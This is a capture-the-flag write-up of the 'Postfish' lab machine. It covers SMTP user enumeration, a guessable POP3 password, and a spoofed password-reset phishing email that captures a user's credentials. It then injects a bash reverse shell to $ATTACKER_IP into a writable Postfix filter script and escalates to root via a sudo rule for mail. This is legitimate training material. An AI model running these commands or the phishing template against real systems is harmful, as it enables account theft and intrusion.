Skip to content

Postfish Writeup - Proving Grounds

Hard Linux

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

Postfish runs a full mail stack. A staff page and SMTP VRFY enumeration build a username list, a lazy POP3 password reveals an internal email, and that context makes an SMTP phishing email against the sales manager believable enough to capture his real password. A content filter script writable by his group gives a shell as filter, and a sudo rule for mail finishes the job as root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
25/tcp  open  smtp    Postfix smtpd
80/tcp  open  http    Apache httpd 2.4.41 (Ubuntu)
110/tcp open  pop3    Dovecot pop3d
143/tcp open  imap    Dovecot imapd
993/tcp open  imaps   Dovecot imapd
995/tcp open  pop3s   Dovecot pop3d
Explain command
-p- Scan all 65535 TCP ports.
-sC -sV Run default scripts and probe service versions.

The SMTP banner leaks the internal hostname postfish.off; add it to /etc/hosts.

Web and Ident enumeration

The web root has a staff page.

┌──(kali㉿kali)-[~]
└─$ curl http://postfish.off/team.html
HR: Claire Madison
IT: Mike Ross
Sales: Brian Moore
Legal: Sarah Lorem

Four full names, which combine with a guessed firstname.lastname convention and common department aliases into a username list.

SMTP user enumeration

Verify the guessed usernames against SMTP VRFY.

┌──(kali㉿kali)-[~]
└─$ smtp-user-enum -M VRFY -U /tmp/users.txt -t $TARGET_IP
claire.madison => exists
mike.ross => exists
brian.moore => exists
sarah.lorem => exists
hr => exists
it => exists
sales => exists
legal => exists
filter => exists
root => exists

All ten guessed accounts, including the department aliases and a filter service account, come back valid.

Exploitation

Lazy POP3 credentials and a leaked plan

Try the department alias as its own password over POP3.

┌──(kali㉿kali)-[~]
└─$ telnet $TARGET_IP 110
USER sales
PASS sales
+OK Logged in.
LIST
RETR 1

The sales inbox holds an email from it@postfish.off warning the team that password reset links are coming soon. That tells us brian.moore is expecting a reset email from IT, which is exactly the pretext needed for a believable phish.

Phishing brian.moore via SMTP

Start a listener to catch whatever credentials the phishing link submits.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 80
listening on [any] 80 ...

Send a password-reset email impersonating IT, since SMTP here enforces no SPF/DKIM/DMARC.

┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP 25
HELO postfish.off
MAIL FROM: it@postfish.off
RCPT TO: brian.moore@postfish.off
DATA
Subject: Password Reset

Hi Brian,

Please reset your password using the link below:

http://$ATTACKER_IP/reset

Regards,
IT Department
.
QUIT

Brian follows the link and the listener catches his submitted credentials.

POST /reset HTTP/1.1
...
first_name=Brian&last_name=Moore&email=brian.moore@postfish.off&username=brian.moore&password=$BRIAN_PASSWORD&confirm_password=$BRIAN_PASSWORD

SSH in with the captured password.

┌──(kali㉿kali)-[~]
└─$ ssh brian.moore@$TARGET_IP
brian.moore@postfish:~$ cat ~/local.txt

Privilege Escalation

Filter group and the Postfix disclaimer script

Check group memberships.

┌──(kali㉿kali)-[~]
└─$ id
uid=1000(brian.moore) gid=1000(brian.moore) groups=1000(brian.moore),8(mail),997(filter)

brian.moore is in the filter group. Postfix runs a disclaimer script as a content filter, and that script is group-writable.

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/postfix/disclaimer
┌──(kali㉿kali)-[~]
└─$ cat /etc/postfix/disclaimer_addresses
┌──(kali㉿kali)-[~]
└─$ cat /etc/postfix/master.cf | grep -A2 disclaimer
-rwxrwx--- 1 root filter 1184 ... /etc/postfix/disclaimer
it@postfish.off
brian.moore@postfish.off
dfilt  unix  -  n  n  -  -  pipe flags=Rq user=filter argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
smtp   inet  n  -  -  -  -  smtpd -o content_filter=dfilt:

The script runs as filter every time mail comes in from it@postfish.off or brian.moore@postfish.off, both addresses this account can send as. A cron job periodically resets the script, so the injection and the trigger have to happen in a single shot.

sed -i would normally be the quick way to patch the file, but it writes a temp file into the containing directory first, and the filter group only has write access to the file itself, not the directory. Using sed file > target instead avoids that.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 443
listening on [any] 443 ...
┌──(kali㉿kali)-[~]
└─$ cp /etc/postfix/disclaimer /tmp/d.bak && sed '2i\/bin/bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1' /tmp/d.bak > /etc/postfix/disclaimer && nc 127.0.0.1 25 <<'SMTP'
HELO postfish.off
MAIL FROM:<it@postfish.off>
RCPT TO:<brian.moore@postfish.off>
DATA
From: it@postfish.off
Subject: trigger
test
.
QUIT
SMTP

The injected line runs before the rest of the script, and the listener catches a shell as filter.

GTFOBins mail to root

Check sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l
User filter may run the following commands on postfish:
    (ALL) NOPASSWD: /usr/bin/mail *

mail supports ! to run shell commands, the same trick as the ed escape elsewhere, so a NOPASSWD rule for it is a direct root shell.

┌──(kali㉿kali)-[~]
└─$ sudo /usr/bin/mail --exec='!/bin/sh'
# id
uid=0(root) gid=0(root) groups=0(root)

References